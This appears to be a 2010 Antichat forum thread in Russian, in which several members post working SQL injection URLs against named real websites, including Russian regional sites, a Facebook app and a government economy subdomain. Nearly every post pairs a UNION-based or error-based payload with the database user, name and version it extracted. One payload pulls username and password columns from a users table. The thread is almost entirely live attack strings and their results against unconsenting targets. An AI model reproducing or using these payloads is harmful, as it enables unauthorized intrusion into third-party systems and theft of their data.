ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.04.2010, 13:47
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Код:
_http://acutecp.rediscussed.com/?p=-3%27+union+select+1,2,3,4,concat_ws%280x3a,username,password%29,6,7,8,9,10,11+from+users--+
web_settings.php
PHP код:
...$result     mysql_query("SELECT `id`,`page_title`,`page_description`,`page_keywords`,`page_content`,`page_status`,`page_views`,`page_created`,`page_last_edited`,`user_created`,`user_last_edit` FROM `content` WHERE id='$p'",$conn) or die(mysql_error());
$page_result     mysql_fetch_row($result);... 

Последний раз редактировалось Strilo4ka; 01.04.2010 в 14:31..
 
Ответить с цитированием

  #2  
Старый 01.04.2010, 18:25
Аватар для Keltos
Keltos
Iron Man#2
Регистрация: 08.07.2009
Сообщений: 2,084
Провел на форуме:
3896191

Репутация: 2562


По умолчанию

Код:
http://pgroup.ru/?a=news&id=-1+union+select+1,aes_decrypt(aes_encrypt(concat(user,0x3a,password,database(),version()),0x55),0x55),3,4,5+from+mysql.user
Version: 5.0.67-community-nt
User: root
Database: dprofit5
 
Ответить с цитированием

  #3  
Старый 01.04.2010, 20:30
Аватар для b82a
b82a
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
Провел на форуме:
619439

Репутация: 127
Отправить сообщение для b82a с помощью ICQ
По умолчанию

Код:
http://tuile.ru/more.php?do=more&catid=-1%20UNION%20SELECT%201,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8,9,10,11%20--+
User: gutter_tuile@212.193.229.91
Database: gutter_tu
Version: 5.1.41-log


Код:
http://www.vcspartak.ru/index.php?lang=ru&id=-1%20UNION%20SELECT%20concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2%20--+
User: vcspartak_mysql@10.1.3.44
Database: vcspartak_db
Version: 4.1.22-log


Код:
http://www.savatouristik.ru/index.php?mid_open=7&id=-1%20UNION%20SELECT%201,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29%20--+
User: client304@localhost
Database: savatour
Version: 4.0.27

Последний раз редактировалось b82a; 01.04.2010 в 21:34..
 
Ответить с цитированием

  #4  
Старый 01.04.2010, 23:29
Аватар для BrainDeaD
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию

Код:
http://www.sacvoiaj.md/admin/main.php?id=-1+union+select%20+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8%20--
database: 18831
version: 5.0.77
user: 18831@localhost
 
Ответить с цитированием

  #5  
Старый 02.04.2010, 06:19
Аватар для Keltos
Keltos
Iron Man#2
Регистрация: 08.07.2009
Сообщений: 2,084
Провел на форуме:
3896191

Репутация: 2562


По умолчанию

Код:
http://www.mcpies.com/about_us/view_news.php?id=13333333+union+select+1,2,concat(VERSION(),0x3a,USER(),0x3a,DATABASE()),4,5,6,7,8,9,10,11+from+NewInTheNews/*
Version: 4.1.19-log
User: mariecallenders@localhost
Database: db_mcpies_com


Код:
http://sloboda.su/flats.php?id=-5+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4,5,6,7+from+sev_users
Version: 5.0.67-log
User: u68381@10.10.153.174
Database: u68381_sloboda



Код:
http://www.conscioustalk.net/resource_listing.php?cid=-10+union+select+1,concat_ws(0x3a%20%20,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13--
Version: 5.0.27-standard
User: root@localhost
Database: ct
 
Ответить с цитированием

  #6  
Старый 02.04.2010, 10:22
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

http://www.armeniatv.com/news.php?vid=-3737+union+select+1,2,3,4,5,6,7,8&year=2010&month= 02&day=03

user() : armenia_armuser@localhost

version() : 5.0.90-community

database() : armenia_armeniadb
 
Ответить с цитированием

  #7  
Старый 02.04.2010, 12:56
Аватар для b82a
b82a
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
Провел на форуме:
619439

Репутация: 127
Отправить сообщение для b82a с помощью ICQ
По умолчанию

Код:
http://www.olimp-group.ru/index.php?ob=list_one&id=-1%20UNION%20SELECT%201,database%28%29,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,user%28%29,28,29,30,31,32,33,34,35,36,37,38,39,40%20--+
User: olimpgro@localhost
Database: wwwolimpgroupru
Version: 4.1.25-log
 
Ответить с цитированием

  #8  
Старый 02.04.2010, 17:53
Аватар для jecka3000
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

Скуля на FACEBOOK!

Код:
http://apps.facebook.com/ifundrazr/fundraise.php?cid=-304+and+1=2+union+select+1,2,3,4,5,6,unhex(hex(concat_ws(0x3a,user(),database(),@@version))),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43--
signalpa_rockaja@localhost
signalpa_fbmFundRraise
5.0.90-community

Последний раз редактировалось jecka3000; 06.04.2010 в 17:37..
 
Ответить с цитированием

  #9  
Старый 02.04.2010, 18:39
Аватар для Keltos
Keltos
Iron Man#2
Регистрация: 08.07.2009
Сообщений: 2,084
Провел на форуме:
3896191

Репутация: 2562


По умолчанию

Код:
http://www.mens-groom.com/products.php?id=1'+and+1=2+union+all+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a%20%20,user(),database(),version()),11+from+users/*
User: reflexint@65.36.214.245
Version: reflexint
Database: 5.0.27-standard



Код:
http://mytoy.ru/cat.html?cat_id=300000000000000+UNION+SELECT+1,2,concat_ws(0x3a%20%20,user(),database(),version()),4,5/*
User: mytoyru_old@localhost
Version: 5.0.26-log
Database: mytoyru_old


Код:
http://www.luchvrn.ru/news.php?id=-999+union+select+1,2,3,concat_ws(0x3a%20%20,user(),database(),version()),5,6,7
User: luchvrn8_news@localhost
Version: 4.1.25-log
Database: luchvrn8_news

Последний раз редактировалось Keltos; 03.04.2010 в 19:04..
 
Ответить с цитированием

  #10  
Старый 03.04.2010, 18:24
Аватар для b82a
b82a
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
Провел на форуме:
619439

Репутация: 127
Отправить сообщение для b82a с помощью ICQ
По умолчанию

Код:
http://www.tambovlib.ru/index.php?id=gallery.imgview.1234567%27+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10+--+
User: lib@localhost
Database: lib
Version: 5.0.45


Код:
http://propel.ru/forum/see.php?id=-1%20UNION%20SELECT%201,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11%20--+
User: propeltu_propel@localhost
Database: propeltu_propel
Version: 5.0.26-log


Код:
http://www.pulsarpkp.ru/content.php?id=-1%27%20UNION%20SELECT%20concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29%20--+
User: Uwww3154S@localhost
Database: udb3154
Version: 4.0.26-log


Ну и PR семёра, не нашёл я админку
Код:
http://ar.economy.gov.ru/ru/index.php?incl/media/id.txt?&date23=-1%27+or%281,1%29=%28select+count%280%29,concat%28%28select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29+from+information_schema.tables+limit+0,1%29,floor%28rand%280%29*2%29%29from%28information_schema.tables%29group+by+2%29--++
User: admreforma@localhost
Database: admreforma
Version: 5.0.51a-3ubuntu5.5-log1

Последний раз редактировалось b82a; 03.04.2010 в 18:40..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ